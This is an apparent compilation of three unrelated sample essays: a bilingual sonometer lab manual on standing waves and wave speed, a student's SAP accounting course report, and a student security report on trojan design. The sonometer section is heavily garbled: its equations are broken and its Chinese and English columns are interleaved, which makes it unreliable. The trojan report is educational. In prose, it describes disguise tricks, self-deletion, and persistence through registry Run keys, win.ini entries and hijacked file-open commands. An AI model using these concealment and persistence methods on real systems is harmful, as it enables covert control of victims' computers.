范文一:电脑控制弦音计
PASCO实验
Experiment 7 Sonometer
实验七 电脑控制弦音计
实验原理: Theory of Waves on a Stretched String
1.驻波 1. Standing Waves
一简单的正弦波在拉紧的金属线上传播,可以由方程式 A simple sine wave traveling along a taut
=ysin2来描述.若金属线一端固定,波到达该端时将被反射回y,(x/,,t/n)1mstring can be described by the equation y=ysin2. If the string is fixed ,(x/,,t/n)1m来,反射波为:
y= ysin2. ,(x/,,t/n)2mat one end, the wave will be reflected back
假设波幅足够小,未超出金属线的弹性限制,则叠加后的波形即为两波形之和: when it strikes that end, The reflected wave can
y=y+y=ysin2 ,(x/,,t/n)12mbe described by the equation
y= ysin2. Assuming the + ysin2 ,(x/,,t/n),(x/,,t/n)2mm
由恒等式: amplitudes of these waves are small enough so that the elastic limit of the string is not sinA+sinB=2sin(A+B)/2cos(B-A)/2,
上式可改写为: exceeded, the resultant waveform will be just
y=2ysin(2. ,x/,)cos(2,t/n)mthe sum of the two waves:
y=y+y=ysin2+ ,(x/,,t/n)12m 该方程具有一些特点:对一固定时间t,则金属线的波形为一正弦波,最大波oysin2 幅为2ycos(2.对一固定的x,金属线也表现为谐振动,最大振幅为,(x/,,t/n),t/,)mmoo
2ysin(2. x= l/2,l,3l/2,2l,等时,波幅为0. ,x/,)Using the trigonometric identity: moo
sinA+sinB=2sin(A+B)/2cos(B-A)/2, 该种波形即为驻波,因为金属线上并没有波形的传播.时间方向的驻波,其表This equation becomes: 现形式如图1.
y=2ysin(2. ,x/,)cos(2,t/n)m
This equation has some interesting
characteristics .At a fixed time t, the shape of o
the string is a sine wave with a maximum amplitude of 2ycos(2. At a fixed ,t/,)moFigure 1 position on the string, x, the string is o
undergoing simple harmonic motion, with an
amplitude of 2ysin(2,x/,). therefore, at mo
points of the string where x=l/2,l,3l/2,2l,etc., o
the amplitude of the oscillations will be zero. 该模式为驻波波胞.金属线上每一点上下振幅取决于该点波胞。最大振幅处
This waveform is called a standing wave 即为波腹,振幅为0处即为波节.
because there is no propagation of the
P7—1
waveform along the string .A time exposure of
the standing wave would show a pattern something like the one in Figure 1.
This pattern is called the envelope of the standing wave. Each point of the string oscillates up and down with its amplitude
determined by the envelope. The points of maximum amplitude are called antinodes. The points of zero amplitude are called nodes.
2.共振 2.Resonance
以上分析建立在假设驻波为原始波与反射波的叠加的基础之上.事实上若 The analysis above assumes that the
金属线两端都固定,每个波在到达固定端时都将被反射.总的来说,叠加在一起的standing wave is formed by the superposition
反射波并非都同相,其波幅也很小.但对于某些振动频率,所有反射波都处于同一of an original wave and one reflected wave. In
相位,产生一振幅很高的驻波.这些频率即为共振频率. fact if the string is fixed at both ends, each wave will be reflected every time if reaches
either end of the string. In general, the multiply
reflected waves will not all is in phase, and the
amplitude of the wave pattern will be small.
However at certain frequencies of oscillation,
实验1研究线长与共振频率间的关系.共振产生时,通过对波长与线长的分all the reflected waves are in phase, resulting in
析,很容易得出这样的结论:共振产生时,线长与波长间的关系为线长为半波a very high amplitude standing wave. These
长的整数倍.即; n=1,2,3,4…则驻波的节点一定位于两固定端. ,,2L/nfrequencies are called resonant frequencies.
In Experiment 1,the relationship between the length of the string and the frequencies at which resonance occurs is investigated. It is shown that the conditions for resonance are more easily understood in terms of the wavelength of the wave pattern, rather than in terms of the frequency. In general, resonance occurs when the wavelength (,) satisfies the
condition:
; n=1,2,3,4… ,,2L/n
Another way of stating this same
relationship is to say that the length of the
P7—2
string to equal to an integral number of half wavelengths. This means that the standing wave is such that a node of the wave pattern exists naturally at each fixed end of the string.
3.波传播速度 3. Velocity of Wave propagation
对一柔韧有弹性的金属线,波在金属线上的传播速度(V)由两个变量决定: Assuming a perfectly flexible, perfectly
),及金属线所受张力(T).关系式为: 金属线的线密度(,elastic string, the velocity of wave propagation
T(V) on a stretched string depends on two V,,variables: the mass per unit length or linear
density of the sting () and the tension of the ,
string (T). The relationship is given by the
equation:
T V,,
该公式与牛顿第二定律相似:描述了力,惯量,及线密度间的关系.但金属线 Without going into the derivation of this
的振动与只受一个力的简单刚体运动并不相同.(不论速度,加速度都是物体运equation, its basic form can be appreciated. The
动时所关注的量。但金属线上的波并没有加速度,这也许算一个合理的解释)。 equation is analogous to Newton’s Second law, providing a relationship between a measure of
force and a measure of inertia, and linear
density of the string. That the form of the two
equations is not exactly the same to be expected. The motion of the string is considerably different than the motion of a simple rigid body acted on by a single force. (It could be asked whether velocity, rather than
acceleration, is the right measure of motion to focus on. Since the waves on the string do not accelerate, this is at least a reasonable assumption.)
P7—3
如果允许这种类推,则可以假设波速只由张力和线密度决定.空间分析可知 If the analogy with Newton’s Law is
)来得出波速。 该方程是正确的。没有其他方法可由张力(T)及线密度(,accepted, and it is assumed that the wave velocity depends only on tension and linear
density, dimensional analysis shows that the
form of the equation must be as it is. There is no other way to combine tension (with units of
-2-1MLT) with linear density (ML) to get
-1velocity (LT).
该方程应通过实验来验证.实验2中不同的金属线有不同的线密度.力的大 Of course, the equation must be verified
小可通过改变悬挂物的质量或位置来改变.波长可通过共振模式时的频率来确experimentally. This is done in Experiment 2,
,此时我们就可以验证波速与线密度及线所受定.则波速可由下式得出: V=,,in which the linear density of the string is
张力的关系. varied by using different strings. The tension is varied using hanging weights on a lever
arm .The wavelength is then measured by adjusting the frequency until a resonance pattern develops. The velocity can then be
calculated using the relationship V=, ,,
And the effects of tension and linear density on velocity can be determined.
Experiment 1 Resonance Modes of a Stretched String
实验1 一段金属线的共振模式
实验目的: Objective:
了解驻波产生的原因。 Determine the relation between the
通过实验收集的数据,确定共振发生时金属线长与波长间的关系. wavelength of the wave and the string length when resonance occurs.
实验仪器及简介(图2): Equipment and the brief introduction:
,WA-9611弦音计 -WA-9611 Sonometer
-砝码及其挂钩 -Mass and mass hanger
-WA-9613 驱动/探测器 -WA-9613Driver/Detector Coils
-示波器或计算机 -Dual trace oscilloscope
-频率发生器 -Function generator capable of delivering 0.5 amp
本实验提供10根金属线,每两个一组,其线密度为: 10 wires (guitar strings), 2each of the following
P7—4
diameters (liner densities): -0.010”(0.39gm/m) -0.010”(0.39gm/m) -0.014”(0.78gm/m) -0.014”(0.78gm/m) -0.017”(1.12gm/m) -0.017”(1.12gm/m) -0.020”(1.50gm/m) -0.020”(1.50gm/m) -0.022”(1.84gm/m) -0.022”(1.84gm/m)
Figure 2
Figure 3
频率发生器的应用(图3): Operation of the Function Generator(see
figure 3):
1(电源开关打到OFF 1.Flip the power ON/OFF switch to OFF.
2(连线,接通电源(所用电源为.110V,60Hz交流电,或220V,50Hz2.Plug the power cord into a well
交流电) grounded outlet of the appropriate voltage
(110 VAC,60Hz,or 220V,50Hz)
P7—5
3(将振幅调节逆时针旋转到底. 3.Turn the amplitude to zero by rotating the Amplitude knob counterclockwise as far
as it will go.
4(将插头插入”output”,使频率发生器接入整个线路,输出所需信4.Using banana plug connectors or
号. hookup wire, connect the output of the
generator to the circuit or device to which you want to apply the signal.
5(选择所需波形(正弦波或方波). 5.Set the Wave Shape switch to select a
sine or square wave.
6(打开电源开关.指示灯会亮. 6.Flip the power switch on .The power switch will light up.
7(选择”Frequency Multiplier”旋钮到所需倍数.旋转大的刻度盘改变频7.Set the Frequency Multiplier knob to
率. the desired decade. Turn the large Frequency dial to vary the frequency within the selected
decade.
8(测量输出频率: 8.To measure the output frequency to within 1%.
(1)用数字万用表测量”DVM Output”电压. (1) Plug a digital voltmeter into the DVM
(2)选择适当的量程.使测量范围为0到10V。 Output jacks using banana plugs.
(3)万用表读数与选择量程相乘为输出频率.如”Frequency Multiplier” (2) Set the voltage range of the voltmeter
置为100Hz,万用表读数为5.75伏,则输出频率为575Hz。 so it will measure voltages from 0 to 10 volts.
(3) To determine the output frequency, just multiply the reading on the voltmeter by the selected range. For example, if the multiplier
knob is set to 100 Hz, and the voltmeter reads
5.75 volts, the output frequency is 575Hz.
软件的应用: Using the Science Workshop program
1(界面及仪器准备.在实验安装窗口,点击并拖动”analog sensor” 图像1. Prepare the interface and apparatus.
插头到”Analog Channels A or B”.由传感器菜单中选择”Sound Sensor”.其灵Start Science Workshop. In the Experiment
敏度将自动为X100.点击并拖动”Scope “数据显示图标至”Sound Sensor” Setup window, click and drag the analog sensor plug icon to Analog Channels A or B. Select
“Sound Sensor” from the list of sensors. This
will automatically set the Sensitivity to
P7—6
X100.click and drag the Scope data display icon to the Sound Sensor icon.
2(调节”Scope”.其灵敏度及扫描速度由实验装置决定.例如:用标准金2. Adjust the Scope so it can display the
属线(017)作传质的弦音计,两桥间距60cm,水平张力杆上第二凹槽处悬挂signal from the sensor .The sensitivity and
1kg重量,驱动频率为130Hz,5V,应将电压分度调节到0.010或0.020v/div,扫sweep speed will depend on the experimental
描速度为1.00或2.00ms/div. setup. For example, if you are using the
Sonometer with the medium gauge wire
(0170,60cm between the bridges, a one kilogram mass on the second notch of the tensioning lever, and a driving frequency of
130Hz and 5 Volts, you may need to increase
the volts/division (sensitivity) to about 0.010 or 0.020v/div and the sweep speed to 1.00 or 2.00 ms/div.
实验步骤: Procedure
1(按如下要求安装弦音计:两桥间距60cm,张力杆悬挂大约1kg质量.1.Set up the Sonometer as following
调节线调节旋钮使张力杆水平.将驱动器安旨在距其中一壳5cm处,探测器(Figure 4):Start with the bridges 60 cm apart.
安置在金属线中间(如图4).将线长,力(mg),线密度记录在表格1. Use any of the included strings and hang a
mass of approximately 1 kg from the tensioning
lever. Adjust the string adjustment knob so that
the tensioning lever is horizontal. Position the driver coil approximately 5 cm from one of the bridges and position the detector near the center
of the wire. Record the length, tension (mg), and linear density of the string in Table 1.1.
2(信号发生器产生一正弦波,调到约5mv/cm. 2.Set the signal generator to produce a sine wave and set the gain of the oscilloscope
to approximately 5 mV/cm.
3(缓慢增加信号频率.收听弦音计的声音增强信号,或观察示波器的探3.Slowly increase the frequency of the
测信号的增强(第一次约在20,30Hz).引起弦线最大振动的频率为共振频signal to the driver coil. starting at
率.确定最小共振频率.该频率为共振基频.测量并将其纪录到表格1. approximately 25 Hz. Listen for an increase in the volume of the sound from the sonometer
and /or an increase in the size of the detector Table 1
线长_____张力_________线密度______ signal on the oscilloscope screen. Frequencies
P7—7
that result in maximum string vibration are 方式 共振频率 波腹 波节 resonant frequencies. Determine the lowest frequency at which resonance occurs. This is
resonance in the first, or fundamental, mode. Measure this frequency and record it in Table 1.
Figure 4
4(将探测器尽可能的靠近其中一桥,在缓慢移动探测器时观察示波4. Start with the detector as close as you
器,确定并在表1中记录下每个节点和波腹. can get it to one of the bridges. Watch the
oscilloscope as you slide the detector slowly along the string. Locate and record the locations of each node and antinode. Record your results in Table 1.
5(继续增大频率,找到连续的共振频率(5-6个).与表格1.1中纪录每5. Continue increasing the frequency to
个波节和波腹的频率及位置. find successive resonant frequencies (at least five or six). Record the resonance frequency for
each mode, and the locations of nodes and antinodes inTable1.
6(由结果来确定,并记录下每次共振模式下的波长. 6. From your results, determine and record the wavelength of each resonance pattern you
discovered.
7(改变两桥间的线长,重新构造表格并重新测量(至少3根不同的7. Change the string length by moving one
线长). or both of the bridges. Construct a new data table and repeat your measurements for at least
P7—8
three different string lengths.
注:驱动频率可能并不是金属线的振动频率,在示波器上可以很清楚的Note: The driving frequency of the signal
看到这一点。有可能是金属线振动频率的整数倍。 generator may not be the frequency at which the wire is vibrating .By using a dual trace
oscilloscope , you can determine if the two frequencies are the same , or if the vibrating frequency is a multiple of the driving
frequency.
实验分析: Analysis
应用实验数据确定频率增加时的共振波形,及波形与线长间的关Using your data, determine the shape of
系。画出任意线长的共振波形。波长与线长的关系是什么,你可以用数the successive resonance waveforms as the
学式子表示之。 frequency is increased. How do the wave
注:该实验中,当共振频率为基频的偶数倍(N)时,其在弦线上的表现shapes depend on the length of the string ?
形式为N/2个波腹,N/2+1个波节。 Sketch the resonance waveforms for an arbitrary string length. What relationship holds
between the wavelength of the wave and the string length when resonance occurs? Can you state this relationship mathematically?
Experiment 2 Velocity of Wave Propagation
试验2 波速的测量
实验目的: Objective:
通过对不同金属线,及相同金属线不同长度共振时相关量Determine the relation among the speed of
的测量,确定共振发生时波速与线所受张力及线密度间的关系. the wave(V),the wire tension(T)and the linear
density(). ,
实验装置: (同实验1) Equipment:
-WA-9611 Sonometer
-WA-9613 Driver/Detector Coils
-Dual trace oscilloscope
-Mass and mass hanger
-Function generator capable of delivering 0.5
amp
P7—9
实验步骤: Procedure:
1(按如下要求按装弦音计:两桥间距60cm,张力杆悬挂大约1.Set up the Sonometer as shown in Figure
1kg质量.调节线调节旋钮使张力杆水平.将驱动器安置在距其中4
一桥5cm处,探测器安置在金属线中间.. Set the bridges 60 cm a part .Use any of the included strings and hang a mass of
approximately1kg from the tensioning lever. Adjust the string adjustment knot so that the
tensioning lever is horizontal. Position the driver coil approximately 5 cm from one of the bridges and position the detector near the center of the wire.
2(信号发生器产生一正弦波,示波器调到约5mv/cm. 2.Set the signal generator to produce a
sine wave and set the gain of the oscilloscope
to approximately 5cm/cm.
3(缓慢增加信号频率(开始时大约1HZ).确定最小共振频率,3.Slowly increase the frequency of the
并纪录于表格2. driver coil, staring with a frequency of around 1 HZ. Determine the lowest frequency at which
resonance occurs. Record this value in Table 2.
注:确定最低共振频率,其方法为缓慢滑动探测器,若为Note: To be sure you have found the
最低共振频率,则两桥间仅有一个波腹。 lowest resonant frequency, slide the detector coil the length of the string. The wave pattern
should have just a single antinode located midway between the two bridges.
. 4(于表格2中记录金属线的张力(T)和线密度(,)4.In Table 2.1,record the string tension (T) and the linear density of the string (. ,)张力由下面式子确定:张力=悬挂物质量x 张力杆凹槽数.
线密度手册中已给出. The tension is determined: multiply the weight of the hanging mass buy one, two, three, Table 2
张力 线密度 基 频 波速 four, or five, depending on which notch of the
(,) (T) (V) (v) tensioning lever the mass is hanging from. The
linear densities of the strings are given in the front of this manual.
5(通过改变悬挂物不同的位置改变金属线的张力,对五组5.Change the string tension by hanging the
不同的张力,重复步骤3和4. mass from a different notch. Repeat steps 3 and 4 for five different values of the string tension.
P7—10
6(将线的张力设为中间值,用五根不同的线重复步骤3和46.Set the string tension to a midrange
的测量. value. Then repeat your measurements of step 3 and 4 using each of the five different strings.
实验分析: Anal age:
1(由你所测数据来确定金属线上波速与张力及线密度间的1.Using your measured string length, the
关系。 fundamental frequency, and the equation
V=to determine the velocity of the wave on ,v
the string for each value of tension and linear density that you used.
2(确定波速与张力间的关系,可由以下3种方法实现: 2.Determine the functional relationship between the speed of the wave and the wire
tension. This can be accomplished using either of the following three methods. If you are not familiar with these procedures, you might want to try all three.
2,,A(画一V-T图,V为x轴。若该图并非一直线,可画TA. Plot a graph of V versus T, with Von
1/2T等,直到得到一直线为止。 the y-axis. If the graph is not a straight line ,try
plotting V versus some power of T(such as
21/2T,T,etc),until you get a straight line .
p,则有lnV=plnT+lnk. p,kB(假设有这样的关系式:V=kTB. Assume that the functional relationship
p为未知量。lnv与lnT成正比。我们就可以得到一斜率为is of the form V=kT. Then lnV=plnT+lnk,
p=lnV/lnT的直线。Lnk为y轴截距。 where p and k are unknown constants. Then if lnV is plotted against the independent variable
lnT, a straight line will be obtained having a slope p, where p is lnV/lnT and lnk is the y-intercept.
C(其他许多计算器都有对V,T做对数衰减直线的方法,其C. Many calculators have the ability to do
实质与B相同。 power regressions or linear regressions on the logarithms of Vand T. This will accomplish
essentially what the graph of method Bdid.
)间3(用上面所提到的方法,确定波速(V)与线密度(,3.Using one of the methods above,
的关系。 determine the functional relationship of the speed of the wave (V)to the linear density of
the string(,).
P7—11
结论: Conclusions
金属线上振动模式的特点: Characterize the resonant modes of a
vibrating wire. That is:
1。确定金属线长与波长之间的数学关系式.(实验1) 1. Determine a mathematical relationship that describes the wavelengths of the waves
that from standing wave patterns in a wire of
来确定线长为L的金2(用问题1的答案及表达式V=,,length L (See Experiment 1).
属线的共振频率. 2.Use your answer to question 1,and the expression V=, to determine the resonant ,,
3(利用实验结果写出量T, 及L的表达式 ,,frequencies of a wire of length L.
3.Use your experimental results to write an expression for the frequencies of a vibrating wire in terms of T, and L. ,,
P7—12
范文二:SAP课堂实验报告实验报告
(北京 ) CHINA UNIVERSITY OF PETROLEUM
会计信息系统
期末大作业报告
任课教师:李翠红
专 业 :会计 11-2 班
姓 名:刘映彤
学 号:
所在课堂及序号:周五课堂 020
上 机 号:CUPAIS- 249
完成日期:2013年 12月 15 日
左侧装订(二个钉即可) 、内容正反面打印、不得超过 11张纸
中国石油大学(北京)
工商管理学院会计系
2013年 9月版
公司基本情况概述:
案例公司为一家欧洲商贸公司, 从事商品的买进, 并加价出售的业务。 以欧元为记账本位币。在系统中主要通过英语表述业务。 实验目的:
掌握如何利用通用财务软件对企业的经济业务进行会计反映与管理。
一.实验过程及结果分析: (一)经济业务凭证报表截图: 1. 接受投资截图
公司代码:W520 摘要 :接受投资 1,000,000 相关科目:银行存款 3520 实收资本
70000
FI 报表变化如图所示:银行存款增加 1000000 实收资本增加
1000000
1.a 购置办公设备 编码 3048 金额
4800
1.b 购置复印设备 3052号 金额
5400
购置办公设备、复印设备后的 FI 报表(f.01) ,其中固定资产项目增加
10200
2. 创建供应商 5596 进行赊购 项目发生金额 20000
会计摘要:11月 2日赊购存货 20,000 相关科目:5596
310000
赊购后,存货增加 2000,应付账款增加了 2000元,出现负债。 FI 报表如图所示:
3. 11月 5日现购存货
a 会计摘要:购买存货 30,000 相关科目:5596
310000
b. 会计摘要 :付款 30,000 相关科目:3520 5596
借记应付账款,贷记银行存款
FI 报表变化
4. 接受投资 40万,存入银行账户 3520 借记银行存款,贷记实收资本
5.10日,销售存货,取得价款 50,000,存入银行账户
a . 结转成本 25000 新建客户编码
405006
b. 确认收入 50000 其中 800200表示销售收入
c. 全额收款 50000 银行存款增加了
50000
以下是 FI 报表的变化,就资产负债表可以看出银行存款增加了 50000,存货减少了
25000
6. 红字冲销 11.02日发生的经济业务
7.11月 20日结转存货成本 5000,会计凭证如下:
借记生产成本(893010) ,贷记存货(310000)
11月 20日确认销售收入
借记应收账款(405006) ,贷记销售收入 /主营业务收入(800200)
结转成本,确认收入使资产负债表和损益表都发生了相关变化
损益表:
8. 剩余项目收款 8000(RESIDUAL ITEM )
银行存款增加,应收账款减少,资产负债表发生变化
9. 月末,后勤部统一支付电话费 9000
借记管理费用 — 电话费,贷记银行存款
10. 后勤部依据电话时长分配电话费(KSW5) 成本分配前成本中心报表
循环成功建立后,电话费费用具体分摊:
在成本中心组下,销售部门承担 5000分钟,管理部门分摊 3000分钟,后勤部则分摊 1000分钟,共计 9000分钟
11. 月末,收回剩余赊销款
2000
资产负债表资产一栏结构发生相应变化,银行存款增加,应收账款减少
损益表
12. 计提资产折旧
资产浏览器查看相关变化
13. 复印中心支付纸张费用
1300
银行存款减少,资产负债表发生变化
银行存款支付纸张费用,损益表发生变化
销售部门分摊 5000 管理部门分摊 3155 后勤部分摊 1000 复印中心分摊 13174 14. 复印中心分配纸张费用,成本中心情况如图所示:
二、总账:资产负债表
损益表:
损益表续上
(三)、 就系统报表而言, 资产负债表比起自制的 EXCEL 表更加精细, 利润表上把电话费、 办公费单独列出来,而在自制的 EXCEL 中,把电话费,办公费等统统归属为管理费用。 自制 EXCEL 表如下:
利润表—— W520公司
经济业务 EXCEL 截图 ;
(四) 、 FA 总账与明细账变化:
如上图所示, 21000表示固定资产,在经济业务一,分别购置 4800办公设备与 5400复印设 备,共计 10200欧元,与系统相同。期末进行资产折旧,系统默认设备使用年限为 30年, 以直线法计提,每年金额为 (10200-0)/30=340,与系统截图相同。
下面两图是计提资产折旧后进行的折旧与利息分配, 这与中国会计计提方法不同。 中国不会 计提资产折旧利息等业务。
(五 ) :凭证截图
二.结合所学专业谈谈对于本课程的学习心得
本学期我学习了会计信息系统这门课程, 在课程初期感觉有些吃力, 但到了后来, 对业 务开始有了了解后,感觉就没有那么吃力了。在课程中,我跟随老师,建立了自己的公司, 仿照 1000公司又依次建立了自己的银行账户,客户,成本中心等,并且做了接受投资,赊 购货物,还款, 销售货物, 成本分摊以及计提资产折旧等经济业务。 这些都是之前会计学习 中比较基础的业务,与之前唯一不同的是,我们这次的业务是用 SAP 这个专门的软件进行 的,就经济业务本身而言,和以前的财务会计,成本会计的原理基本是相同的。但这门课程 要求我们一定要细心, 很多情况下往往一个回车就可能导致凭证的生成, 由此又引起后来的 冲销。 在经济业务操作中, 我感觉最困难的就是建立循环进行费用分摊了, 往往循环没有什 么问题,提示也说成功建立,但就是运行出错,费用分摊不到成本中心,甚至分错。其中的 原因有很多, 循环建立过程比较复杂, 在诸多页签中填错数据是主要原因。 但是有一次我的 循环出错是因为网速不好造成的, 让人哭笑不得。 还有感触颇深的便是开关资产年度了, 我 从没想过计提资产折旧还要考虑资产年度问题, 以为一张凭证就可以了, 但是后来的实践操 作中, 我发现很多业务不是靠凭证就可以的, 资产折旧就需要一系列的准备活动。 会计信息 系统不是那么简单的。
我是一名会计专业的学生, 学好会计信息系统是应该的, 但就一学期的学习而言, 感触, 时候去妈妈单位,看到大家基本还是手工记账,信息化并没有全面普及,但到了后来, 信息 化普及,大家开始进行网上记账。手工记账存在不足,账页丢失且容易做马脚,尤其当一个 会计离任时, 整理他的账薄是很麻烦的, 但信息化出现解决了这一问题。 暑假实习时看到大 大小小的公司、工厂都在使用会计系统,大部分是使用用友,少数使用 SAP 。在这个过程 中, 我感觉到这门课程的重要性, 私下认为这门课程应该学时更长一些, 甚至可以像财务会 计一样,分两个学期学习,把 SAP 学习的更加精细一些。第二,作为会计财务人员,以后 的工作中应该更加细心, 就此次上机而言, 初始化、 费用核算、 应收账款等模块都需要细心, 一个数字出错往往会导致不可估量的损失, 并且有些业务不是简单冲销就可以的。 第三, 坚 持职业道德,按照财经法规操作。 SAP 操作具有较强的专业性,即使是学习了会计相关知 识但没有经过上机课程的人员也不太熟悉, 我们接受了专业上机课程, 更应该最好的发挥会 计核算与监督的职能,帮助企业进行经济管理,而不是为虎作伥。
就这一学期学习而言, 我对会计电算化有了更深刻的认识, 但仍有很多的不足, 在以后 的课下学习中, 还会加强对会计操作系统的学习, 加强自身职业素养, 更好的适应未来从业 要求。
刘映彤 2011011762 会计 11-2班
范文三:病毒实验报告
病毒实验报告
——木马程序设计
姓名: 潘莹 学号: U200915340 班级: 信息安全0903班 日期: 2012.01.10
小组成员
潘莹
刘佳
周玉坤
王新宇
目录
木马原理 ........................................................................ 3 实验目的 ........................................................................ 9 实验设计 ........................................................................ 9
实现的功能 ............................................................... 9
各个功能陈述 .......................................................... 10 实验模块 ...................................................................... 11
socket编程 .......................................................... 11
隐藏技术——服务级木马........................................... 13
钩子技术 ................................................................ 14
进程查杀 ................................................................ 15 实验详细设计 ................................................................ 15 实验截屏 ...................................................................... 16 心得体会 ...................................................................... 18 附录 ............................................................................. 18
附录一 木马程序源代码 ............................................ 18
附录二 钩子源代码 .................................................. 37
附录三 参考书籍 ..................................................... 45
2
木马原理
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。 (1)硬件部分:建立木马连接所必须的硬件实体。控制端:对服务端
进行远程控制的一方。服务端:被控制端远程控制的一方。
INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。 (2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制
端用以远程控制服务端的程序。木马程序:潜入服务端内部,获
取其操作权限的程序。木马配置程序:设置木马程序的端口号,
触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。 (3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木
马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务
端的网络地址,也是木马进行数据传输的目的地。控制端端口,
木马端口:即控制端,服务端的数据入口,通过这个入口,数据
可直达控制端程序或木马程序。
木马原理
用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步,下面我们就按这六步来详细阐述木马的攻击原理。
一.配置木马
一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:
(1) 木马伪装:
木马配置程序为了在服务端尽可能的好的隐藏木马,会采用
多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,
我们将在“传播木马”这一节中详细介绍。
(2) 信息反馈:
木马配置程序将就信息反馈的方式或地址进行设置,如设置
信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信
息反馈”这一节中详细介绍。
二.传播木马
(1)传播方式:
3
木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为 名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。
(2)伪装方式:
鉴于木马危害性,很多人对木马知识还是有一定了解,这对木马的传播起了一定的抑制作用,这是木马设计者所不愿见到的,因此他们开发了多种功能来伪装木马,以达到降低用户警觉,欺骗用户的目的。 (一)修改图标
当你在E-MAIL的附件中看到这个图标时,是否会认为这是个文本文件呢?但是我不得不告 诉你,这也有可能是个木马程序,现在 已经有木马可以将木马服务端程序的图标改成HTML,TXT, ZIP等各种文件的图标,这有相当大的迷 惑性,但是目前提供这种功能的木马还不多见,并且这种伪装也不是无懈可击的,所以不必整天提心吊胆,疑神疑鬼的。
(二)捆绑文件
这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的 情况下 ,偷偷的进入了系统。至于被捆绑的文件一般是可执行文件(即EXE,COM一类的文件)。 (三)出错显示
有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序, 木马的 设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务 端用户打开木 马程序时,会弹出一个如下图所示的错误提示框(这当然是假的),错误内容可自由 定义,大多会定制成 一些诸如“文件已破坏,无法打开的~”之类的信息,当服务端用户信以 为真时,木马却悄悄侵入了 系统。 (四)定制端口
很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的 端口就 知道感染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可 以在1024---65535之间任选一个端口作为木马端口(一般不选1024以下的端口),这样就给判断 所感染木马类型带 来了麻烦。
4
(五)自我销毁
这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后,木马 会将自己拷贝到WINDOWS的系统文件夹中(C:\WINDOWS或C:\WINDOWS\SYSTEM目录下),一般来说 原木马文件 和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来 收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木 马后,原木马文件将自动销毁,这 样服务端用户就很难找到木马的来源,在没有查杀木马的工 具帮助下,就很难删除木马了。
(六)木马更名
安装到系统文件夹中的木马的文件名一般是固定的,那么只要根据一些查杀木马的文章,按 图索骥在系统文件夹查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控 制端用户自由定制安装后的木马文件名,这样很难判断所感染的木马类型了。 三.运行木马
服务端用户运行木马或捆绑木马的程序后,木马就会自动进行安装。首先将自身拷贝到WINDOWS的 系统文件夹中(C:\WINDOWS或C:\WINDOWS\SYSTEM目录下),然后在注册表,启动组,非启动组中设置好木马 的触发条件 ,这样木马的安装就完成了。安装后就可以启动木马了,具体过程见下图:
(1)由触发条件激活木马
触发条件是指启动木马的条件,大致出现在下面八个地方: 1.注册表:打开
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\下的五个以Run 和RunServices主键,在其中寻找可能是启动木马的键值。
2.WIN.INI:C:\WINDOWS目录下有一个配置文件win.ini,用文本方式打开,在[windows]字段中有启动 命令 load=和run=,在一般情况下是空白的,如果有启动程序,可能是
5
3.SYSTEM.INI:C:\WINDOWS目录下有个配置文件system.ini,用文本方式打开,在[386Enh],[mic],[drivers32]中有命令行,在其中寻找木马的启动命令。
4.Autoexec.bat和Config.sys:在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都 需要控制端用户与服务端建立连接后,将已添加木马启动命令的同名 文件上传 到服务端覆盖这两个文件才行。
5.*.INI:即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马 启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。 6.注册表:打开HKEY_CLASSES_ROOT\文件类型
\shell\open\command主键,查看其键值。举个例子,国产 木马“冰河”就是修改HKEY_CLASSES_ROOT\txtfile\shell\open\command
下的键值,将“C :\WINDOWS \NOTEPAD.EXE %1”该为“C:\WINDOWS\SYSTEM\SYXXXPLR.EXE %1”,这时你双 击一个TXT文件 后,原本应用NOTEPAD打开文件的,现在却变成启动木马程序了。还要说明 的是不光是TXT文件 ,通过修改HTML,EXE,ZIP等文件的启动命令的键值都可以启动木马 ,不同之处只在于“文件类型”这个主键的差别,TXT是txtfile,ZIP是WINZIP,大家可以 试着去找一下。
7.捆绑文件:实现这种触发条件首先要控制端和服务端已通过木马建立连接,然后控制端用户用工具 软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使 木马被删 除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。 8.启动菜单:在“开始---程序---启动”选项下也可能有木马的触发条件。 (2)木马运行过程
木马被激活后,进入内存,并开启事先定义的木马端口,准备与控制端建立连接。这时服务端用 户可以在MS-DOS方式下,键入NETSTAT -AN查看端口状态,一般个人电脑在脱机状态下是不会有端口 开放的,如果有端口开放,你就要注意是否感染木马了。下面是电脑感染木马后,用NETSTAT命令查 看端口的两个实例:
其中?是服务端与控制端建立连接时的显示状态,?是服务端与控制端还未建立连接时的显示状态。
6
在上网过程中要下载软件,发送信件,网上聊天等必然打开一些端口,下面是一些常用的端口:
